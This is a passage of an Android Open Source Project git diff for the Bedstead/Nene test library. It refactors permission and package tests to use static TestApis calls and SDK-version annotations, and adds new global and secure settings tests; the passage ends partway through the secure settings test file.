         assumeTrue("keepUninstalledPackages is only supported on S+",
-                Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
+                Versions.meetsMinimumSdkVersionRequirement(S));
 
-        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        mTestApis.packages().keepUninstalledPackages().add(mTestAppReference).commit();
+        TestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        TestApis.packages().keepUninstalledPackages().add(mTestAppReference).commit();
         mTestAppReference.uninstall(mUser);
-        mTestApis.packages().keepUninstalledPackages().add(mDifferentTestAppReference).commit();
+        TestApis.packages().keepUninstalledPackages().add(mDifferentTestAppReference).commit();
 
         try {
-            assertThat(mTestAppReference.resolve()).isNull();
+            assertThat(mTestAppReference.exists()).isFalse();
         } finally {
-            mTestApis.packages().keepUninstalledPackages().clear();
+            TestApis.packages().keepUninstalledPackages().clear();
         }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
index fad6bd6..9b071e1 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
@@ -16,36 +16,43 @@
 
 package com.android.bedstead.nene.permissions;
 
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.os.Build.VERSION_CODES.P;
+import static android.os.Build.VERSION_CODES.Q;
+import static android.os.Build.VERSION_CODES.R;
+import static android.os.Build.VERSION_CODES.S;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 
 import android.content.Context;
-import android.os.Build;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
-import com.android.bedstead.nene.utils.Versions;
 
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 public class PermissionsTest {
 
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
     private static final String PERMISSION_HELD_BY_SHELL =
             "android.permission.INTERACT_ACROSS_PROFILES";
     private static final String DIFFERENT_PERMISSION_HELD_BY_SHELL =
             "android.permission.INTERACT_ACROSS_USERS_FULL";
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static final String NON_EXISTING_PERMISSION = "permissionWhichDoesNotExist";
 
@@ -55,40 +62,37 @@
             "android.permission.INTERNET";
 
     @Test
+    @RequireSdkVersion(min = Q, reason = "drop shell permissions only available on Q+")
     public void default_permissionIsNotGranted() {
+        ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
+
         assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
                 .isEqualTo(PERMISSION_DENIED);
     }
 
     @Test
+    @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
     public void withPermission_shellPermission_permissionIsGranted() {
-        assumeTrue("assume shell identity is only available on Q+",
-                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
-
         try (PermissionContext p =
-                     sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)) {
+                     TestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)) {
             assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
                     .isEqualTo(PERMISSION_GRANTED);
         }
     }
 
     @Test
+    @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
     public void withoutPermission_alreadyGranted_androidPreQ_throwsException() {
-        assumeTrue("assume shell identity is only available on Q+",
-                Build.VERSION.SDK_INT < Build.VERSION_CODES.Q);
-
         assertThrows(NeneException.class,
-                () -> sTestApis.permissions().withoutPermission(
+                () -> TestApis.permissions().withoutPermission(
                         DECLARED_PERMISSION_NOT_HELD_BY_SHELL_PRE_S));
     }
 
     @Test
+    @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
     public void withoutPermission_permissionIsNotGranted() {
-        assumeTrue("assume shell identity is only available on Q+",
-                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
-
-        try (PermissionContext p = sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL);
-             PermissionContext p2 = sTestApis.permissions().withoutPermission(
+        try (PermissionContext p = TestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL);
+             PermissionContext p2 = TestApis.permissions().withoutPermission(
                      PERMISSION_HELD_BY_SHELL)) {
 
             assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
@@ -97,14 +101,12 @@
     }
 
     @Test
+    @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
     public void autoclose_withoutPermission_permissionIsGrantedAgain() {
-        assumeTrue("assume shell identity is only available on Q+",
-                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
-
         try (PermissionContext p =
-                     sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)) {
+                     TestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)) {
             try (PermissionContext p2 =
-                         sTestApis.permissions().withoutPermission(PERMISSION_HELD_BY_SHELL)) {
+                         TestApis.permissions().withoutPermission(PERMISSION_HELD_BY_SHELL)) {
                 // Intentionally empty as we're testing that autoclosing restores the permission
             }
 
@@ -114,23 +116,19 @@
     }
 
     @Test
+    @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
     public void withoutPermission_installPermission_androidPreQ_throwsException() {
-        assumeTrue("assume shell identity is only available on Q+",
-                Build.VERSION.SDK_INT < Build.VERSION_CODES.Q);
-
         assertThrows(NeneException.class,
-                () -> sTestApis.permissions().withoutPermission(INSTALL_PERMISSION));
+                () -> TestApis.permissions().withoutPermission(INSTALL_PERMISSION));
     }
 
     @Test
+    @RequireSdkVersion(min = Q, max = R,
+            reason = "adopt shell permissions only available on Q+ - after S - all available"
+                    + " permissions are held by shell")
     public void withoutPermission_permissionIsAlreadyGrantedInInstrumentedApp_permissionIsNotGranted() {
-        assumeTrue("assume shell identity is only available on Q+",
-                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
-        assumeFalse("After S, all available permissions are held by shell",
-                Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
-
         try (PermissionContext p =
-                    sTestApis.permissions().withoutPermission(
+                    TestApis.permissions().withoutPermission(
                             DECLARED_PERMISSION_NOT_HELD_BY_SHELL_PRE_S)) {
             assertThat(
                     sContext.checkSelfPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL_PRE_S))
@@ -139,19 +137,17 @@
     }
 
     @Test
+    @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
     public void withoutPermission_permissionIsAlreadyGrantedInInstrumentedApp_androidPreQ_throwsException() {
-        assumeTrue("assume shell identity is only available on Q+",
-                Build.VERSION.SDK_INT < Build.VERSION_CODES.Q);
-
         assertThrows(NeneException.class,
-                () -> sTestApis.permissions().withoutPermission(
+                () -> TestApis.permissions().withoutPermission(
                         DECLARED_PERMISSION_NOT_HELD_BY_SHELL_PRE_S));
     }
 
     @Test
     public void withPermission_permissionIsAlreadyGrantedInInstrumentedApp_permissionIsGranted() {
         try (PermissionContext p =
-                    sTestApis.permissions().withPermission(
+                    TestApis.permissions().withPermission(
                             DECLARED_PERMISSION_NOT_HELD_BY_SHELL_PRE_S)) {
             assertThat(
                     sContext.checkSelfPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL_PRE_S))
@@ -162,20 +158,21 @@
     @Test
     public void withPermission_nonExistingPermission_throwsException() {
         assertThrows(NeneException.class,
-                () -> sTestApis.permissions().withPermission(NON_EXISTING_PERMISSION));
+                () -> TestApis.permissions().withPermission(NON_EXISTING_PERMISSION));
     }
 
     @Test
     public void withoutPermission_nonExistingPermission_doesNotThrowException() {
         try (PermissionContext p =
-                     sTestApis.permissions().withoutPermission(NON_EXISTING_PERMISSION)) {
+                     TestApis.permissions().withoutPermission(NON_EXISTING_PERMISSION)) {
             // Intentionally empty
         }
     }
 
     @Test
+    @RequireSdkVersion(min = R)
     public void withPermissionAndWithoutPermission_bothApplied() {
-        try (PermissionContext p = sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)
+        try (PermissionContext p = TestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)
                 .withoutPermission(DIFFERENT_PERMISSION_HELD_BY_SHELL)) {
 
             assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
@@ -186,8 +183,9 @@
     }
 
     @Test
+    @RequireSdkVersion(min = R)
     public void withoutPermissionAndWithPermission_bothApplied() {
-        try (PermissionContext p = sTestApis.permissions()
+        try (PermissionContext p = TestApis.permissions()
                 .withoutPermission(DIFFERENT_PERMISSION_HELD_BY_SHELL)
                 .withPermission(PERMISSION_HELD_BY_SHELL)) {
 
@@ -200,28 +198,26 @@
 
     @Test
     public void withPermissionAndWithoutPermission_contradictoryPermissions_throwsException() {
-        assertThrows(NeneException.class, () -> sTestApis.permissions()
+        assertThrows(NeneException.class, () -> TestApis.permissions()
                 .withPermission(PERMISSION_HELD_BY_SHELL)
                 .withoutPermission(PERMISSION_HELD_BY_SHELL));
     }
 
     @Test
     public void withoutPermissionAndWithPermission_contradictoryPermissions_throwsException() {
-        assertThrows(NeneException.class, () -> sTestApis.permissions()
+        assertThrows(NeneException.class, () -> TestApis.permissions()
                 .withoutPermission(PERMISSION_HELD_BY_SHELL)
                 .withPermission(PERMISSION_HELD_BY_SHELL));
     }
 
     @Test
+    @RequireSdkVersion(min = S, reason = "restoring shell permissions only available on S+")
     public void withoutPermission_androidSAndAbove_restoresPreviousPermissionContext() {
-        assumeTrue("restoring permissions is only available on S+",
-                Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
-
         ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity(PERMISSION_HELD_BY_SHELL);
 
         try {
             PermissionContext p =
-                    sTestApis.permissions()
+                    TestApis.permissions()
                             .withoutPermission(PERMISSION_HELD_BY_SHELL);
             p.close();
 
@@ -234,4 +230,24 @@
 
     // TODO(scottjonathan): Once we can install the testapp without granting all runtime
     //  permissions, add a test that this works pre-Q
+
+    @Test
+    @RequireSdkVersion(min = R, max = R)
+    public void withPermissionOnVersion_onVersion_hasPermission() {
+        try (PermissionContext p =
+                     TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+            assertThat(sContext.checkSelfPermission(MANAGE_EXTERNAL_STORAGE))
+                    .isEqualTo(PERMISSION_GRANTED);
+        }
+    }
+
+    @Test
+    @RequireSdkVersion(min = S)
+    public void withPermissionOnVersion_notOnVersion_doesNotHavePermission() {
+        try (PermissionContext p =
+                     TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+            assertThat(sContext.checkSelfPermission(MANAGE_EXTERNAL_STORAGE))
+                    .isNotEqualTo(PERMISSION_GRANTED);
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/settings/GlobalSettingsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/settings/GlobalSettingsTest.java
new file mode 100644
index 0000000..e1a2787
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/settings/GlobalSettingsTest.java
@@ -0,0 +1,385 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.settings;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.os.Build;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireSdkVersion;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+
+import org.junit.After;
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public class GlobalSettingsTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String KEY = "key";
+    private static final String INVALID_KEY = "noKey";
+    private static final int INT_VALUE = 123;
+    private static final String STRING_VALUE = "testValue";
+
+    @After
+    public void resetGlobalSettings() {
+        TestApis.settings().global().reset();
+    }
+
+    @Test
+    public void putInt_putsIntIntoGlobalSettingsOnInstrumentedUser() throws Exception {
+        TestApis.settings().global().putInt(KEY, INT_VALUE);
+
+        assertThat(android.provider.Settings.Global.getInt(sContext.getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void putIntWithContentResolver_putsIntIntoGlobalSettings() throws Exception {
+        TestApis.settings().global().putInt(sContext.getContentResolver(), KEY, INT_VALUE);
+
+        assertThat(android.provider.Settings.Global.getInt(sContext.getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void putIntWithContentResolver_preS_throwsException() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () ->
+                TestApis.settings().global().putInt(
+                        sContext.getContentResolver(), KEY, INT_VALUE));
+    }
+
+    @Test
+    public void putIntWithUser_instrumentedUser_putsIntIntoGlobalSettings() throws Exception {
+        TestApis.settings().global().putInt(TestApis.users().instrumented(), KEY, INT_VALUE);
+
+        assertThat(android.provider.Settings.Global.getInt(sContext.getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void putIntWithUser_differentUser_putsIntIntoGlobalSettings() throws Exception {
+        TestApis.settings().global().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            assertThat(android.provider.Settings.Global.getInt(
+                    TestApis.context().androidContextAsUser(sDeviceState.secondaryUser())
+                            .getContentResolver(), KEY)).isEqualTo(INT_VALUE);
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void putIntWithUser_differentUser_preS_throwsException() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () ->
+                TestApis.settings().global().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE));
+    }
+
+    @Test
+    public void getInt_getsIntFromGlobalSettingsOnInstrumentedUser() {
+        TestApis.settings().global().putInt(KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().global().getInt(KEY)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getInt_invalidKey_throwsException() {
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().global().getInt(INVALID_KEY));
+    }
+
+    @Test
+    public void getInt_invalidKey_withDefault_returnsDefault() {
+        assertThat(TestApis.settings().global().getInt(INVALID_KEY, INT_VALUE)).isEqualTo(
+                INT_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithContentResolver_getsIntFromGlobalSettings() {
+        TestApis.settings().global().putInt(
+                TestApis.context().instrumentedContext().getContentResolver(), KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().global().getInt(
+                TestApis.context().instrumentedContext().getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithContentResolver_invalidKey_throwsException() {
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().global().getInt(
+                        TestApis.context().instrumentedContext().getContentResolver(),
+                        INVALID_KEY));
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithContentResolver_invalidKey_withDefault_returnsDefault() {
+        assertThat(TestApis.settings().global().getInt(
+                TestApis.context().instrumentedContext().getContentResolver(),
+                INVALID_KEY, INT_VALUE)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getIntWithUser_instrumentedUser_getsIntFromGlobalSettings() {
+        TestApis.settings().global().putInt(KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().global().getInt(TestApis.users().instrumented(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getIntWithUser_invalidKey_throwsException() {
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().global().getInt(
+                        TestApis.users().instrumented(), INVALID_KEY));
+    }
+
+    @Test
+    public void getIntWithUser_invalidKey_withDefault_returnsDefault() {
+        assertThat(TestApis.settings().global().getInt(
+                TestApis.users().instrumented(), INVALID_KEY, INT_VALUE)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithUser_differentUser_getsIntFromGlobalSettings() {
+        TestApis.settings().global().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().global().getInt(
+                sDeviceState.secondaryUser(), KEY)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void getIntWithUser_differentUser_preS_throwsException() {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            TestApis.settings().global().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+
+        });
+    }
+
+    @Test
+    public void putString_putsStringIntoGlobalSettingsOnInstrumentedUser() throws Exception {
+        TestApis.settings().global().putString(KEY, STRING_VALUE);
+
+        assertThat(android.provider.Settings.Global.getString(sContext.getContentResolver(), KEY))
+                .isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void putStringWithContentResolver_putsStringIntoGlobalSettings() throws Exception {
+        TestApis.settings().global().putString(sContext.getContentResolver(), KEY, STRING_VALUE);
+
+        assertThat(android.provider.Settings.Global.getString(sContext.getContentResolver(), KEY))
+                .isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void putStringWithContentResolver_preS_throwsException() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () ->
+                TestApis.settings().global().putString(
+                        sContext.getContentResolver(), KEY, STRING_VALUE));
+    }
+
+    @Test
+    public void putStringWithUser_instrumentedUser_putsStringIntoGlobalSettings() throws Exception {
+        TestApis.settings().global().putString(
+                TestApis.users().instrumented(), KEY, STRING_VALUE);
+
+        assertThat(android.provider.Settings.Global.getString(sContext.getContentResolver(), KEY))
+                .isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void putStringWithUser_differentUser_putsStringIntoGlobalSettings() throws Exception {
+        TestApis.settings().global().putString(sDeviceState.secondaryUser(), KEY, STRING_VALUE);
+
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            assertThat(android.provider.Settings.Global.getString(
+                    TestApis.context().androidContextAsUser(sDeviceState.secondaryUser())
+                            .getContentResolver(), KEY)).isEqualTo(STRING_VALUE);
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void putStringWithUser_differentUser_preS_throwsException() throws Exception {
+        assertThrows(UnsupportedOperationException.class,
+                () -> TestApis.settings().global().putString(sDeviceState.secondaryUser(), KEY,
+                        STRING_VALUE));
+    }
+
+    @Test
+    public void getString_getsStringFromGlobalSettingsOnInstrumentedUser() {
+        TestApis.settings().global().putString(KEY, STRING_VALUE);
+
+        assertThat(TestApis.settings().global().getString(KEY)).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithContentResolver_getsStringFromGlobalSettings() {
+        TestApis.settings().global().putString(
+                TestApis.context().instrumentedContext().getContentResolver(), KEY, STRING_VALUE);
+
+        assertThat(TestApis.settings().global().getString(
+                TestApis.context().instrumentedContext().getContentResolver(), KEY))
+                .isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getStringWithUser_instrumentedUser_getsStringFromGlobalSettings() {
+        TestApis.settings().global().putString(KEY, STRING_VALUE);
+
+        assertThat(TestApis.settings().global().getString(TestApis.users().instrumented(), KEY))
+                .isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getStringWithUser_differentUser_getsStringFromGlobalSettings() {
+        TestApis.settings().global().putString(sDeviceState.secondaryUser(), KEY, STRING_VALUE);
+
+        assertThat(TestApis.settings().global().getString(
+                sDeviceState.secondaryUser(), KEY)).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void getStringWithUser_differentUser_preS_throwsException() {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            TestApis.settings().global().putString(sDeviceState.secondaryUser(), KEY,
+                    STRING_VALUE);
+        });
+    }
+
+    @Test
+    public void reset_resetsGlobalSettings() {
+        TestApis.settings().global().putInt(KEY, INT_VALUE);
+        TestApis.settings().global().putString(KEY, STRING_VALUE);
+
+        TestApis.settings().global().reset();
+
+        assertThrows(NeneException.class, () -> TestApis.settings().global().getInt(KEY));
+        assertThat(TestApis.settings().global().getString(KEY)).isNotEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void resetWithContentResolver_resetsGlobalSettings() {
+        ContentResolver contentResolver =
+                TestApis.context().instrumentedContext().getContentResolver();
+        TestApis.settings().global().putInt(contentResolver, KEY, INT_VALUE);
+        TestApis.settings().global().putString(contentResolver, KEY, STRING_VALUE);
+
+        TestApis.settings().global().reset(contentResolver);
+
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().global().getInt(
+                        contentResolver,
+                        KEY));
+        assertThat(TestApis.settings().global().getString(contentResolver, KEY))
+                .isNotEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void resetWithContentResolver_preS_throwsException() {
+        ContentResolver contentResolver =
+                TestApis.context().instrumentedContext().getContentResolver();
+
+        assertThrows(UnsupportedOperationException.class,
+                () -> TestApis.settings().global().reset(contentResolver));
+    }
+
+    @Test
+    public void resetWithUser_instrumentedUser_resetsGlobalSettings() {
+        TestApis.settings().global().putInt(TestApis.users().instrumented(), KEY, INT_VALUE);
+        TestApis.settings().global().putString(TestApis.users().instrumented(), KEY,
+                STRING_VALUE);
+
+        TestApis.settings().global().reset(TestApis.users().instrumented());
+
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().global().getInt(
+                        TestApis.users().instrumented(), KEY));
+        assertThat(TestApis.settings().global().getString(TestApis.users().instrumented(),
+                KEY)).isNotEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    @Ignore("b/194669450")
+    public void resetWithUser_differentUser_resetsGlobalSettings() {
+        TestApis.settings().global().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+        TestApis.settings().global().putString(sDeviceState.secondaryUser(), KEY, STRING_VALUE);
+
+        TestApis.settings().global().reset(sDeviceState.secondaryUser());
+
+        assertThrows(NeneException.class, () -> TestApis.settings().global().getInt(
+                sDeviceState.secondaryUser(), KEY));
+        assertThat(TestApis.settings().global().getString(TestApis.settings().global()
+                .getString(sDeviceState.secondaryUser(), KEY))).isNotEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void resetWithUser_differentUser_preS_throwsException() {
+        assertThrows(UnsupportedOperationException.class,
+                () -> TestApis.settings().global().reset(sDeviceState.secondaryUser()));
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/settings/SecureSettingsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/settings/SecureSettingsTest.java
new file mode 100644
index 0000000..7a2d164
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/settings/SecureSettingsTest.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.settings;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.os.Build;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnSystemUser;
+import com.android.bedstead.harrier.annotations.RequireSdkVersion;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+
+import org.junit.After;
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public class SecureSettingsTest {
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String KEY = "key";
+    private static final String INVALID_KEY = "noKey";
+    private static final int INT_VALUE = 123;
+
+    @After
+    public void resetSecureSettings() {
+        TestApis.settings().secure().reset();
+    }
+
+    @Test
+    public void putInt_putsIntIntoSecureSettingsOnInstrumentedUser() throws Exception {
+        TestApis.settings().secure().putInt(KEY, INT_VALUE);
+
+        assertThat(android.provider.Settings.Secure.getInt(sContext.getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void putIntWithContentResolver_putsIntIntoSecureSettings() throws Exception {
+        TestApis.settings().secure().putInt(sContext.getContentResolver(), KEY, INT_VALUE);
+
+        assertThat(android.provider.Settings.Secure.getInt(sContext.getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void putIntWithContentResolver_preS_throwsException() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () ->
+                TestApis.settings().secure().putInt(
+                        sContext.getContentResolver(), KEY, INT_VALUE));
+    }
+
+    @Test
+    public void putIntWithUser_instrumentedUser_putsIntIntoSecureSettings() throws Exception {
+        TestApis.settings().secure().putInt(TestApis.users().instrumented(), KEY, INT_VALUE);
+
+        assertThat(android.provider.Settings.Secure.getInt(sContext.getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void putIntWithUser_differentUser_putsIntIntoSecureSettings() throws Exception {
+        TestApis.settings().secure().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            assertThat(android.provider.Settings.Secure.getInt(
+                    TestApis.context().androidContextAsUser(sDeviceState.secondaryUser())
+                            .getContentResolver(), KEY)).isEqualTo(INT_VALUE);
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void putIntWithUser_differentUser_preS_throwsException() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () ->
